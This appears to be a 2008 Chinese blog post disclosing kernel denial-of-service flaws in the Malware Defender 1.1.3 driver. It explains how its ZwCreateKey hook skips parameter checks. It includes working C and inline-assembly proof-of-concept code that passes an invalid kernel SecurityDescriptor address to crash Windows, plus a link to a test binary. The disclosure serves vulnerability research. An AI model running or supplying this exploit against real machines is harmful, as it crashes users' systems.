百度空间 | 百度首页 
 
查看文章
 
Malware Defender 1.1.3(2008-09-24)及以下版本多处内核拒绝服务漏洞
2008-10-02 03:41

Malware Defender(简称MD)是一个HIPS & Anti-Rootkit工具。

Malware Defender最新版本1.1.3(2008-09-24)的内核驱动存在多处内核拒绝服务漏洞,任意权限的用户在安装了MD可引发蓝屏

出问题的组件:mdcore.sys(安装后随机命名) 版本1.1.0.0 CheckSum = 0x0003C26C TimeStamp = 0x48d88131

MD在对SSDT HOOK时,存在多处参数检查不全面,同时将可能有错的参数从内核模式传递给系统函数,从而引发系统蓝屏。

示例函数:ZwCreateKey

函数ZwCreateKey的原型是:


NTSTATUS
NtCreateKey(
    __out PHANDLE KeyHandle,
    __in ACCESS_MASK DesiredAccess,
    __in POBJECT_ATTRIBUTES ObjectAttributes,
    __reserved ULONG TitleIndex,
    __in_opt PUNICODE_STRING Class,
    __in ULONG CreateOptions,
    __out_opt PULONG Disposition
    )

其中ObjectAttrutes中的ObjectName , SecurityDescriptor和SecurityQualityOfService域都可以被用来进行缓存拒绝服务攻击.

MD在其HOOK函数hk_ZwCreateKey中(偏移量:0xcd2e),仅仅对ObjectName域做了有效性检查,判断是一个有效的注册表名,就直接调用ZwOpenKey函数,以传入的ObjectAttributes为参数。

由于在MD的HOOK函数中已经经过中断调用,当前线程的上个模式是UserMode,此时调用ZwOpenKey,再经过一次KiSystemService,会导致系统将当前线程的上个模式改为KernelMode,这样系统函数ZwOpenKey将不会再对ObjectAttributes的所有参数做任何有效性检查,而是直接访问其地址,这样,如果我们传递进一个错误的内核地址的SecurityDescriptor,就会引发系统崩溃,蓝屏重启

实际上在本例中,是经过这样一个调用过程最终蓝屏的ZwCreateKey -> hk_ZwCreateKey -> (检查了ObjectAttributes->ObjectName) -> ZwOpenKey -> 上个模式改为KernelMode,系统不检查参数有效性 ->ObOpenObjectByName -> ObpCaptureObjectCreateInformation -> 系统函数判断SecurityDescriptor域存在,且上个模式为内核模式,因此不做参数检查,直接将参数 ->SeCaptureSecurityDescriptor -> SeCaptureSecurityDescriptor访问错误的SecurityDescriptor地址,系统崩溃蓝屏

测试代码:

HKEY hkey ;

WCHAR xx[] = L"xxxx_fuck_malware_defender";

HMODULE hlib = LoadLibrary("ntdll.dll");
PVOID p = GetProcAddress(hlib , "ZwCreateKey");

//获得ZwCreateKey地址


RegOpenKey(HKEY_LOCAL_MACHINE , "SOFTWARE\\" , &hkey);

//随便用一个键句柄作为RootDirectory,以绕过MD的检查

OBJECT_ATTRIBUTES oba ;
UNICODE_STRING strname ;
strname.Buffer = xx;
strname.Length = wcslen(strname.Buffer) * sizeof(WCHAR) ;

InitializeObjectAttributes(&oba , &strname ,0 , hkey,(PVOID)0x80000000);

//填充ObjectAttributes,使ObjectName有效,SecurityDescriptor填入无效的内核地址


IO_STATUS_BLOCK iosb ;
HANDLE hfile ;
__asm{
  
    push 0
    push 0
    push 0
    push 0
    lea eax,oba
    push eax
    push 0
    push 0
    call p
   
}

//调用

测试程序下载:http://mj0011.ys168.com 漏洞演示目录下 BSOD_MD.rar


类别:默认分类 | 添加到搜藏 | 浏览() | 评论 (1)
 
最近读者:
 
网友评论:
1
2008-10-02 03:44 | 回复
来做个沙发
 
发表评论:
姓 名:
网址或邮箱: (选填)
内 容:
验证码: 请点击后输入四位验证码,字母不区分大小写
      

     

©2009 Baidu